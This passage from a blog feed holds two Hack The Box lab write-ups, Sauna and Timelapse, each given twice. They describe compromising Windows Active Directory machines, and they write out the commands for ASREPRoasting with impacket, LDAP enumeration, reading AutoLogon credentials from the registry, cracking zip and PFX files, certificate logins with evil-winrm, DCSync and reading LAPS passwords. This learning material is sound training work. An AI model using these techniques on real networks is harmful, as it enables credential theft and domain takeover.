shares.&#xA;&#xA;While checking the SMB shares, netexec states that null auth is enabled. Null auth is an anonymous session for authentication, similar to Guest but significantly more limited. This null auth session does not allow us to enumerate shares or anything via RPC.&#xA;&#xA;The null auth does allow us to query LDAP without providing any credentials, so I run ldapsearch to try to enumerate some usernames.&#xA;&#xA;ldapsearch -H ldap://10.129.95.180 -x -b &#39;DC=EGOTISTICAL-BANK,DC=LOCAL&#39;&#xA;&#xA;The -x switch here specifies basic authentication, but without providing any credentials it uses null authentication.&#xA;&#xA;From the ldapsearch queries I run, I can see the password policy, which indicates there is no lockout threshold. I do also see an object with the common name &#39;Hugo Smith&#39;; however, this is not a user object so I&#39;m not sure what it is or what we can do with it.&#xA;&#xA;So we cannot enumerate users with this null session, and this &#34;Hugo Smith&#34; object sounds like a user, but I am not sure how to abuse it.&#xA;&#xA;After hitting a wall here, I start enumerating the HTTP server which seems to be hosting a website. The website is some kind of financial website for a bank, and it contains some contact forms that I try to see if they are inject-able, but I do not have any luck. I use ffuf to try finding other pages or VHOSTS, but find seemingly relevant.&#xA;&#xA;I don&#39;t find any easy exploitations on the webpage so I check the &#34;guided mode&#34; and it asks about a page where the employee names are present. I check around the website a bit more and in the about.html page it has a few employee names that we can add to a list. Once the list has been created, we run it through username-anarchy to create a list of likely usernames based on common naming conventions.&#xA;&#xA;Unsure of what to do with this list of usernames, I check the &#34;guided mode&#34; again after some time and it recommends an ASREPRoast attack, which is something I had never heard of. Reading the netexec wiki it explains the attack as the following:&#xA;&#xA;The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an ASREQ request to the KDC on behalf of any of those users, and receive an ASREP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.&#xA;&#xA;So in this attack, we can send an authentication request to the Kerberos server on behalf of another user who does not have pre-authentication required. The server will respond with an AS-REP response message that contains the TGT for the user, which we can then attempt to crack offline to get their password.&#xA;&#xA;In our current position of not having any usernames enumerated, we can feed a list of usernames that we generated with username-anarchy to impacket-getnpusers to check for ASREPRoastable accounts.&#xA;&#xA;The command user is:&#xA;&#xA;impacket-GetNPUsers -request -format hashcat -dc-ip 10.129.95.180 &#39;EGOTISTICAL-BANK.LOCAL/&#39; -usersfile ./anarchy.list&#xA;&#xA;This attempts every username generated to see if they have pre-athentication not required, then requests authentication on behalf of the account and returns the TGT. It seems like this uses the null session to query the accounts, but I&#39;m not sure.&#xA;&#xA;We get a hit when running this for an account fsmith.&#xA;&#xA;The output is the TGT in the form that hashcat can user, so I run the crack through hashcat and get the user&#39;s password while using the rockyou.txt list.&#xA;&#xA;Getting Remote Access&#xA;&#xA;With credentials to a user account, I begin enumerating services again as the authenticated user.&#xA;&#xA;Its at this point that I step away for a few weeks, so this is where the writeup will be less verbose and only contain the path to root.&#xA;&#xA;I get remote access with WinRM via evil-winrm and begin enumerating the box. I run SharpHound and winPEAS on the box and process the results.&#xA;&#xA;SharpHound shows that there is an account, svcloanmanager, that has privileges over the domain that allows a DCSync attack. That makes the account a high priority  target.&#xA;&#xA;Lateral Movement and Privilege Escalation&#xA;&#xA;While reviewing the winPEAS output, I see that the same account, svcloanmanager, is configured for autologon and winPEAS provides the credentials for the account. When an account is configured for AutoLogon, the credentials are stored in a registry key that in this case is accessible to us, so we can get the plaintext password.&#xA;&#xA;If you want to see what is being enumerated in the registry, you can run this command while connected to the machine:&#xA;&#xA;reg query &#34;HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon&#34;&#xA;&#xA;With the password in hand, I carry out the DCSync attack using impacket-secretsdump which provides me the hashes of all the accounts in the domain, login as Administrator and grab the root flag. Its worth noting here, the dump includes LM hashes, not NT hashes, so in order to login with the Administrator LM hash, you need to use impacket-psexec, as evil-winrm requires the NT hash.&#xA;&#xA;Lessons Learned&#xA;&#xA;The biggest lesson to me here was learning about the ASREPRoast attack. Checking for this type of attack will be a major thing I look for in future boxes. I will also start using the technique here of creating a list of possible accounts with username-anarchy with names listed on a website. While the privilege escalation path on this box was very easy (with SharpHound), getting initial access was challenging for me.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Sauna is an easy difficulty Windows box. The box involves enumerating a webpage to get possible user accounts, check for weak accounts that are ASREPRoast-able, then further enumerating the box to get access to an account that has privileges to perform a DCSync attack.

While the box is considered “easy”, it contained a lot of methods for enumeration and exploitation that I don&#39;t have experience or plain was not aware of so it took a lot more time than expected. I learned a lot of new techniques, and for that I am happy.</p>

<p>A small note about this writeup: I did the majority of this box in January but stepped away from it for several weeks before wrapping it up recently. Due to the break in time, this writeup is not as verbose as I would typically want and does not contain as many screen captures as it should.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#initial-enumeration">Initial Enumeration</a></li>
<li><a href="#getting-remote-access">Getting Remote Access</a></li>
<li><a href="#lateral-movement-and-privilege-escalation">Lateral Movement and Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers through LDAP and RPC queries.
<a href="https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html">rpcclient</a> – A tool for enumerating MS-RPC on Linux.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/ffuf/ffuf">ffuf</a> – A tool for web fuzzing, primarily used for enumeration of webpages.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>getnpusers</code>, <code>psexec</code>, and <code>secretsdump</code>, which allows you to maliciously interact with a Windows system.
<a href="https://docs.ldap.com/ldap-sdk/docs/tool-usages/ldapsearch.html">ldapsearch</a> – A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF).
<a href="https://github.com/urbanadventurer/username-anarchy">username-anarchy</a> – A tool for generating usernames based on providing key information that commonly makes up usernames.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>The initial <code>nmap</code> scan shows a Windows machine with LDAP, Kerberos, WinRM, and other Windows Active Directory (AD) ports. The only thing unusual that sticks out is that it is listening on port 80, which is typically associated with HTTP. The device is part of the domain <code>EGOTISTICAL-BANK.LOCAL</code>. After identifying that this box utilizes Kerberos, I synchronize my clock to the target&#39;s.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1771699919/Pasted_image_20260131090649_mrjtet.png" alt=""></p>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>My first target for enumeration is the SMB shares, but it looks like the <code>Guest</code> account is disabled, so I am not able to authenticate to any of the shares.</p>

<p>While checking the SMB shares, <code>netexec</code> states that null auth is enabled. Null auth is an anonymous session for authentication, similar to <code>Guest</code> but significantly more limited. This null auth session does not allow us to enumerate shares or anything via RPC.</p>

<p>The null auth does allow us to query LDAP without providing any credentials, so I run <code>ldapsearch</code> to try to enumerate some usernames.</p>

<pre><code class="language-shell">ldapsearch -H ldap://10.129.95.180 -x -b &#39;DC=EGOTISTICAL-BANK,DC=LOCAL&#39;
</code></pre>

<p>The <code>-x</code> switch here specifies basic authentication, but without providing any credentials it uses null authentication.</p>

<p>From the <code>ldapsearch</code> queries I run, I can see the password policy, which indicates there is no lockout threshold. I do also see an object with the common name &#39;Hugo Smith&#39;; however, this is not a user object so I&#39;m not sure what it is or what we can do with it.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1771699910/Pasted_image_20260131092812_hv4s0c.png" alt=""></p>

<p>So we cannot enumerate users with this null session, and this “Hugo Smith” object sounds like a user, but I am not sure how to abuse it.</p>

<p>After hitting a wall here, I start enumerating the HTTP server which seems to be hosting a website. The website is some kind of financial website for a bank, and it contains some contact forms that I try to see if they are inject-able, but I do not have any luck. I use <code>ffuf</code> to try finding other pages or VHOSTS, but find seemingly relevant.</p>

<p>I don&#39;t find any easy exploitations on the webpage so I check the “guided mode” and it asks about a page where the employee names are present. I check around the website a bit more and in the <code>about.html</code> page it has a few employee names that we can add to a list. Once the list has been created, we run it through <code>username-anarchy</code> to create a list of likely usernames based on common naming conventions.</p>

<p>Unsure of what to do with this list of usernames, I check the “guided mode” again after some time and it recommends an ASREPRoast attack, which is something I had never heard of. Reading the <a href="https://www.netexec.wiki/ldap-protocol/asreproast">netexec wiki</a> it explains the attack as the following:</p>

<p>``` netexec wiki
The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS<em>REQ request to the KDC on behalf of any of those users, and receive an AS</em>REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.</p>

<pre><code>
So in this attack, we can send an authentication request to the Kerberos server on behalf of another user who does not have pre-authentication required. The server will respond with an AS-REP response message that contains the TGT for the user, which we can then attempt to crack offline to get their password.

In our current position of not having any usernames enumerated, we can feed a list of usernames that we generated with `username-anarchy` to `impacket-getnpusers` to check for ASREPRoastable accounts.

The command user is:

```shell
impacket-GetNPUsers -request -format hashcat -dc-ip 10.129.95.180 &#39;EGOTISTICAL-BANK.LOCAL/&#39; -usersfile ./anarchy.list
</code></pre>

<p>This attempts every username generated to see if they have pre-athentication not required, then requests authentication on behalf of the account and returns the TGT. It seems like this uses the null session to query the accounts, but I&#39;m not sure.</p>

<p>We get a hit when running this for an account <code>fsmith</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1771699911/Pasted_image_20260131150834_itfaep.png" alt=""></p>

<p>The output is the TGT in the form that <code>hashcat</code> can user, so I run the crack through hashcat and get the user&#39;s password while using the <code>rockyou.txt</code> list.</p>

<h2 id="getting-remote-access">Getting Remote Access</h2>

<p>With credentials to a user account, I begin enumerating services again as the authenticated user.</p>

<p>Its at this point that I step away for a few weeks, so this is where the writeup will be less verbose and only contain the path to root.</p>

<p>I get remote access with WinRM via <code>evil-winrm</code> and begin enumerating the box. I run <code>SharpHound</code> and <code>winPEAS</code> on the box and process the results.</p>

<p><code>SharpHound</code> shows that there is an account, <code>svc_loanmanager</code>, that has privileges over the domain that allows a DCSync attack. That makes the account a high priority  target.</p>

<h2 id="lateral-movement-and-privilege-escalation">Lateral Movement and Privilege Escalation</h2>

<p>While reviewing the winPEAS output, I see that the same account, <code>svc_loanmanager</code>, is configured for autologon and winPEAS provides the credentials for the account. When an account is configured for AutoLogon, the credentials are stored in a registry key that in this case is accessible to us, so we can get the plaintext password.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1771699911/Pasted_image_20260221191932_ssdoof.png" alt=""></p>

<p>If you want to see what is being enumerated in the registry, you can run this command while connected to the machine:</p>

<pre><code class="language-cmd">reg query &#34;HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon&#34;
</code></pre>

<p>With the password in hand, I carry out the DCSync attack using <code>impacket-secretsdump</code> which provides me the hashes of all the accounts in the domain, login as Administrator and grab the root flag. Its worth noting here, the dump includes LM hashes, not NT hashes, so in order to login with the Administrator LM hash, you need to use <code>impacket-psexec</code>, as <code>evil-winrm</code> requires the NT hash.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>The biggest lesson to me here was learning about the ASREPRoast attack. Checking for this type of attack will be a major thing I look for in future boxes. I will also start using the technique here of creating a list of possible accounts with <code>username-anarchy</code> with names listed on a website. While the privilege escalation path on this box was very easy (with SharpHound), getting initial access was challenging for me.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/sauna</guid>
      <pubDate>Sat, 21 Feb 2026 19:37:32 +0000</pubDate>
    </item>
    <item>
      <title>Timelapse</title>
      <link>https://blog.jjnetops.net/timelapse</link>
      <description>&lt;![CDATA[Timelapse is an easy difficulty Windows box. The box is focused primarily on enumeration, with little tool usage or &#34;exploitation&#34;. You enumerate an unrestricted SMB share, move laterally through finding plaintext credentials, enumerate the Administrator password with those credentials, and finally privilege escalate to Domain Admin through dumping the SAM.&#xA;!--more--&#xA;The box was very straightforward for the most part, and I think this is the fastest box I&#39;ve ever done at three to four hours of effort. I did learn some information about .PFX keys, but the rest was pretty straightforward so this will be short. &#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Initial Enumeration&#xA;Ripping with John&#xA;Getting Remote Access&#xA;Lateral Movement&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;enum4linux-ng - A tool for enumerating Windows computers through LDAP and RPC queries.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used lookupsid, and psexec, which allows you to maliciously interact with a Windows system.&#xA;PKINITtools - Tools by dirkjanm that allow exploitation of the Kerberos authentication mechanism. In this, I specifically use gettgtpkinit.py.&#xA;JohnTheRipper - A password cracker that focuses on utilizing the CPU to crack hashes, although in the jumbo version it can be set to utilize GPU resources. Comes with many programs for generating hashes from the target files.&#xA;ldapsearch - A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF).&#xA;crackmapexec - A multitool for pentesting, although no longer maintained. I used this to enumerate shares, but you can do that with many tools.&#xA;&#xA;nmap scan&#xA;&#xA;The nmap scan shows a regular Windows machine with nothing jumping out to me as being out of the ordinary for a Windows Domain Controller (DC). The scan shows that the domain is timelapse.htb, and the machine&#39;s hostname is dc01.&#xA;&#xA;Because this is a DC and it has Kerberos listening, I sync my time with the DC to ensure no Kerberos errors.&#xA;&#xA;Initial Enumeration&#xA;&#xA;I start by enumerating the shares, that usually gives me an idea if guest accounts work for enumerating. Two shares can be read by anyone including the guest account, IPC$ and Shares.&#xA;&#xA;The Shares drive contains a zipped file titled winrmbackup.zip, and a package of files relating to Windows Local Administrator Password Solution (LAPS). LAPS is a solution that Microsoft rolled out to help ensure unique, regularly rotated local Administrator passwords on individual devices. I imagine this was to combat issues where many IT shops would have a single local admin account password that was the same across their entire fleet of PCs, meaning that if one device was breached, they would all be breached.&#xA;&#xA;Ripping with John&#xA;&#xA;I attempt to unzip the winrmbackup.zip file and am prompted for a password for a file contained within, legacyydevauth.pfx. My only experience with .PFX files is using them to do shadow credential attacks, where you generate a .PFX that is added to the key object of a user you have ability to write attributes of, then request a TGT as that user with the .PFX. In order to unzip this file we need to crack it. I generate a hash for the file by using zip2john, a program provided with johntheripper, that allows you easily generate a hash to be cracked by john.&#xA;&#xA;The command to generate this was:&#xA;&#xA;zip2john -o legacyydevauth.pfx winrmbackup.zip   winrmbackup.hash&#xA;The -o switch in this case allows you to specify the file within the zip to target. This isn&#39;t really necessary because its the only file in there, if there were multiple encrypted files then it might help to target specific ones but for this file using the -o switch is the same as not using it.&#xA;&#xA;I fed the hash to john, and after a few seconds it spits out the password.&#xA;&#xA;While doing this, I also run a UDP scan and enumerate the users of the domain. Since guest is allowed to authenticate, we can use impacket-lookupsid to dump all the users.&#xA;&#xA;It seems pretty clear that the legacyy user is the one associated with this .PFX file. My first thought was to get a Ticket-Granting-Ticket (TGT) as this user using gettgtpkinit.py, so I go ahead and attempt that but I get an error stating I have an invalid password on the .pfx file. Right, I forgot these files typically always have passwords since they store private keys (more on that later).&#xA;&#xA; I do something similar as before, I run pfx2john to generate the hash, feed the hash to john, and get a password.&#xA;&#xA;I try the gettgtpkinit.py program again, but it fails once again with the error &#34;The client trust failed or is not implemented&#34;.&#xA;&#xA;With a better understanding of shadow credential attacks, a smarter person would not have gone straight to this, but I saw what I thought was an easy way in and jumped at it. This was a great moment for me to get a better understanding of shadow credential attacks and what .PFX files are. The reason this does not work, is because when doing a shadow credential attack, it is you who generates the .PFX file while writing to the msDS-KeyCredentialLink attribute, not Kerberos or anyone else. The .PFX is a means to abuse the ability to write to the attribute, not something return by Windows or some other service.&#xA;&#xA;It takes me a bit but I realize why this isn&#39;t working and I start thinking of .PFX files and what they&#39;re actually used for, since most of the world is not using them for shadow credential attacks. While doing some research, I password spray those two passwords I got across all user accounts (since its only 2 attempts each, not enough to lockout most password policies) but turn up no hits.&#xA;&#xA;Getting Remote Access&#xA;&#xA;I stumble on this page, while searching for information about .PFX files, that discusses converting the files into .PEM files for use with authentication via evil-winrm. This is also a great time to mention that WADComs is a great site that will let you choose what you have and show you what your options are.&#xA;&#xA;I go about converting the .PFX file into a few different files, reading this stackoverflow post, which the top comment mentions you can do this one of two ways.&#xA;&#xA;You can place both the public and the private key into the same file.&#xA;You can generate separate files for both the public and the private key.&#xA;&#xA;I ended up doing both, because even if you have both the public and the private in a single file, evil-winrm will take the file for both arguments and find the relevant key. The command to convert the .PFX into a .PEM with both keys is straightforward:&#xA;&#xA;openssl pkcs12 -in legacyydevauth.pfx -out cert.pem -nodes&#xA;The -nodes switch in this case specifies that you do not want the private key encrypted.&#xA;&#xA;With the new cert.pem file containing both public and private key, we can authenticate using evil-winrm.&#xA;&#xA;evil-winrm -i 10.129.227.113 -c cert.pem -k cert.pem -S -r timelapse.htb&#xA;&#xA;Viola! It has been pretty smooth sailing so far, no major hitches.&#xA;&#xA;Lateral Movement&#xA;&#xA;Before I begin enumerating the machine and the user we have access to, legacyy, I want to find what my target is going to be. In this type of environment, there is likely only one user you can move to, but I imagine in a real penetration test it can be very important to have a goal in mind of what users will provide privilege escalation so you can assess what avenues are worth exploring.&#xA;&#xA;In the lookupsid dump I had seen a group called LAPSReaders, which seemed like a very powerful group considering that getting a LAPS password gets us local Administrator access. So I check which users are present on the system and what groups they are part of, and I see the svcdeploy is a member of LAPSReaders, so that seems to be my path to privilege escalation.&#xA;&#xA;I start enumerating the user, and one of my first checks is PowerShell command history, which turns out to contain plaintext credentials for the svcdeploy user. &#xA;&#xA;Privilege Escalation&#xA;&#xA;With credentials to svcdeploy, I need to find out how to read the LAPS password. I search online and find that there&#39;s a LAPS module for PowerShell that gives you the Get-LapsADPassword cmdlet. The module, however, is not available on the machine initially. The unrestricted share drive contained an .MSI file that will install the module so I try to execute that but I get no errors or module installed, so I have no clue what it is doing. I try executing the MSI with runas using svcdeploy, but the account is not allowed to use runas.&#xA;&#xA;I briefly get stuck here trying to find a way to do it with PowerShell, but then it dons on me that I can probably just enumerate it with ldapsearch since LAPS is just an attribute on the computer object.&#xA;&#xA;I run ldapsearch and enumerate all computer objects, and I get the LAPS password, which is assigned to the attribute ms-Mcs-AdmPwd.&#xA;&#xA;With the LAPS password in hand, that gives me direct access to the local Administrator account on the box. Its interesting to note that evil-winrm does not work for authentication, I&#39;m guessing because you&#39;re using a protocol that requires the &#34;Remote Management Users&#34; group for someone to access, where PSExec is using permissions to write to a filesystem and as far as the system is concerned isn&#39;t &#34;remote access&#34; in the same way. I need to research more about this to better understand the limitations of both protocols.&#xA;&#xA;With local Administrator access, I dump the SAM hashes and grab the flag from the TRX user. I&#39;m guessing the designer put the flag in the TRX user&#39;s drive because they are a domain admin. You can grab is as the local Administrator or by logging in as TRX, but the TRX user is more powerful than the local Administrator due to having Domain Admins membership.&#xA;&#xA;Lessons Learned&#xA;&#xA;I didn&#39;t learn a whole lot on this box, but I did get a better understanding of .PFX files, and shadow credential attacks. Any box, no matter how easy, will refine your process.&#xA;&#xA;Thanks for reading!&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Timelapse is an easy difficulty Windows box. The box is focused primarily on enumeration, with little tool usage or “exploitation”. You enumerate an unrestricted SMB share, move laterally through finding plaintext credentials, enumerate the Administrator password with those credentials, and finally privilege escalate to Domain Admin through dumping the SAM.

The box was very straightforward for the most part, and I think this is the fastest box I&#39;ve ever done at three to four hours of effort. I did learn some information about .PFX keys, but the rest was pretty straightforward so this will be short.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#initial-enumeration">Initial Enumeration</a></li>
<li><a href="#ripping-with-john">Ripping with John</a></li>
<li><a href="#getting-remote-access">Getting Remote Access</a></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers through LDAP and RPC queries.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>lookupsid</code>, and <code>psexec</code>, which allows you to maliciously interact with a Windows system.
<a href="https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py">PKINITtools</a> – Tools by dirkjanm that allow exploitation of the Kerberos authentication mechanism. In this, I specifically use <code>gettgtpkinit.py</code>.
<a href="https://github.com/openwall/john">JohnTheRipper</a> – A password cracker that focuses on utilizing the CPU to crack hashes, although in the <code>jumbo</code> version it can be set to utilize GPU resources. Comes with many programs for generating hashes from the target files.
<a href="https://docs.ldap.com/ldap-sdk/docs/tool-usages/ldapsearch.html">ldapsearch</a> – A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF).
<a href="https://github.com/byt3bl33d3r/CrackMapExec">crackmapexec</a> – A multitool for pentesting, although no longer maintained. I used this to enumerate shares, but you can do that with many tools.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>The <code>nmap</code> scan shows a regular Windows machine with nothing jumping out to me as being out of the ordinary for a Windows Domain Controller (DC). The scan shows that the domain is <code>timelapse.htb</code>, and the machine&#39;s hostname is <code>dc01</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358235/Pasted_image_20260124081024_tfdjvv.png" alt=""></p>

<p>Because this is a DC and it has Kerberos listening, I sync my time with the DC to ensure no Kerberos errors.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358235/Pasted_image_20260124162014_yxt2ff.png" alt=""></p>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>I start by enumerating the shares, that usually gives me an idea if <code>guest</code> accounts work for enumerating. Two shares can be read by anyone including the <code>guest</code> account, <code>IPC$</code> and <code>Shares</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358235/Pasted_image_20260124162846_bb5ex8.png" alt=""></p>

<p>The <code>Shares</code> drive contains a zipped file titled <code>winrm_backup.zip</code>, and a package of files relating to Windows Local Administrator Password Solution (LAPS). LAPS is a solution that Microsoft rolled out to help ensure unique, regularly rotated local Administrator passwords on individual devices. I imagine this was to combat issues where many IT shops would have a single local admin account password that was the same across their entire fleet of PCs, meaning that if one device was breached, they would all be breached.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358236/Pasted_image_20260124162949_ylcbio.png" alt=""></p>

<h2 id="ripping-with-john">Ripping with John</h2>

<p>I attempt to unzip the <code>winrm_backup.zip</code> file and am prompted for a password for a file contained within, <code>legacyy_dev_auth.pfx</code>. My only experience with .PFX files is using them to do shadow credential attacks, where you generate a .PFX that is added to the key object of a user you have ability to write attributes of, then request a TGT as that user with the .PFX. In order to unzip this file we need to crack it. I generate a hash for the file by using <code>zip2john</code>, a program provided with <code>johntheripper</code>, that allows you easily generate a hash to be cracked by <code>john</code>.</p>

<p>The command to generate this was:</p>

<pre><code class="language-shell">zip2john -o legacyy_dev_auth.pfx winrm_backup.zip &gt; winrm_backup.hash
</code></pre>

<p>The <code>-o</code> switch in this case allows you to specify the file within the zip to target. This isn&#39;t really necessary because its the only file in there, if there were multiple encrypted files then it might help to target specific ones but for this file using the <code>-o</code> switch is the same as not using it.</p>

<p>I fed the hash to <code>john</code>, and after a few seconds it spits out the password.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358236/Pasted_image_20260124164059_d4ij0n.png" alt=""></p>

<p>While doing this, I also run a UDP scan and enumerate the users of the domain. Since <code>guest</code> is allowed to authenticate, we can use <code>impacket-lookupsid</code> to dump all the users.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358238/Pasted_image_20260124164438_vjh1ak.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358237/Pasted_image_20260124165736_vrmunq.png" alt=""></p>

<p>It seems pretty clear that the <code>legacyy</code> user is the one associated with this .PFX file. My first thought was to get a Ticket-Granting-Ticket (TGT) as this user using <code>gettgtpkinit.py</code>, so I go ahead and attempt that but I get an error stating I have an invalid password on the .pfx file. Right, I forgot these files typically always have passwords since they store private keys (more on that later).</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358237/Pasted_image_20260124165223_z09yet.png" alt=""></p>

<p> I do something similar as before, I run <code>pfx2john</code> to generate the hash, feed the hash to <code>john</code>, and get a password.</p>

<p>I try the <code>gettgtpkinit.py</code> program again, but it fails once again with the error <code>&#34;The client trust failed or is not implemented&#34;</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358238/Pasted_image_20260124170913_yujytf.png" alt=""></p>

<p>With a better understanding of shadow credential attacks, a smarter person would not have gone straight to this, but I saw what I thought was an easy way in and jumped at it. This was a great moment for me to get a better understanding of shadow credential attacks and what .PFX files are. The reason this does not work, is because when doing a shadow credential attack, it is you who generates the .PFX file while writing to the <code>msDS-KeyCredentialLink</code> attribute, not Kerberos or anyone else. The .PFX is a means to abuse the ability to write to the attribute, not something return by Windows or some other service.</p>

<p>It takes me a bit but I realize why this isn&#39;t working and I start thinking of .PFX files and what they&#39;re actually used for, since most of the world is not using them for shadow credential attacks. While doing some research, I password spray those two passwords I got across all user accounts (since its only 2 attempts each, not enough to lockout most password policies) but turn up no hits.</p>

<h2 id="getting-remote-access">Getting Remote Access</h2>

<p>I stumble on <a href="https://wadcoms.github.io/wadcoms/Evil-Winrm-PKINIT/">this page</a>, while searching for information about .PFX files, that discusses converting the files into .PEM files for use with authentication via <code>evil-winrm</code>. This is also a great time to mention that <a href="https://wadcoms.github.io/">WADComs</a> is a great site that will let you choose what you have and show you what your options are.</p>

<p>I go about converting the .PFX file into a few different files, reading <a href="https://stackoverflow.com/questions/15413646/converting-pfx-to-pem-using-openssl">this stackoverflow post</a>, which the top comment mentions you can do this one of two ways.</p>
<ol><li>You can place both the public and the private key into the same file.</li>
<li>You can generate separate files for both the public and the private key.</li></ol>

<p>I ended up doing both, because even if you have both the public and the private in a single file, <code>evil-winrm</code> will take the file for both arguments and find the relevant key. The command to convert the .PFX into a .PEM with both keys is straightforward:</p>

<pre><code class="language-shell">openssl pkcs12 -in legacyy_dev_auth.pfx -out cert.pem -nodes
</code></pre>

<p>The <code>-nodes</code> switch in this case specifies that you do not want the private key encrypted.</p>

<p>With the new <code>cert.pem</code> file containing both public and private key, we can authenticate using <code>evil-winrm</code>.</p>

<pre><code class="language-shell">evil-winrm -i 10.129.227.113 -c cert.pem -k cert.pem -S -r timelapse.htb
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358240/Pasted_image_20260124193720_teefkc.png" alt=""></p>

<p>Viola! It has been pretty smooth sailing so far, no major hitches.</p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>Before I begin enumerating the machine and the user we have access to, <code>legacyy</code>, I want to find what my target is going to be. In this type of environment, there is likely only one user you can move to, but I imagine in a real penetration test it can be very important to have a goal in mind of what users will provide privilege escalation so you can assess what avenues are worth exploring.</p>

<p>In the <code>lookupsid</code> dump I had seen a group called <code>LAPS_Readers</code>, which seemed like a very powerful group considering that getting a LAPS password gets us local <code>Administrator</code> access. So I check which users are present on the system and what groups they are part of, and I see the <code>svc_deploy</code> is a member of <code>LAPS_Readers</code>, so that seems to be my path to privilege escalation.</p>

<p>I start enumerating the user, and one of my first checks is PowerShell command history, which turns out to contain plaintext credentials for the <code>svc_deploy</code> user.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358240/Pasted_image_20260124203820_exdf2w.png" alt=""></p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>With credentials to <code>svc_deploy</code>, I need to find out how to read the LAPS password. I search online and find that there&#39;s a LAPS module for PowerShell that gives you the <code>Get-LapsADPassword</code> cmdlet. The module, however, is not available on the machine initially. The unrestricted share drive contained an .MSI file that will install the module so I try to execute that but I get no errors or module installed, so I have no clue what it is doing. I try executing the MSI with <code>runas</code> using <code>svc_deploy</code>, but the account is not allowed to use <code>runas</code>.</p>

<p>I briefly get stuck here trying to find a way to do it with PowerShell, but then it dons on me that I can probably just enumerate it with <code>ldapsearch</code> since LAPS is just an attribute on the computer object.</p>

<p>I run <code>ldapsearch</code> and enumerate all computer objects, and I get the LAPS password, which is assigned to the attribute <code>ms-Mcs-AdmPwd</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769358240/Pasted_image_20260124222419_tndbva.png" alt=""></p>

<p>With the LAPS password in hand, that gives me direct access to the local <code>Administrator</code> account on the box. Its interesting to note that <code>evil-winrm</code> does not work for authentication, I&#39;m guessing because you&#39;re using a protocol that requires the “Remote Management Users” group for someone to access, where <code>PSExec</code> is using permissions to write to a filesystem and as far as the system is concerned isn&#39;t “remote access” in the same way. I need to research more about this to better understand the limitations of both protocols.</p>

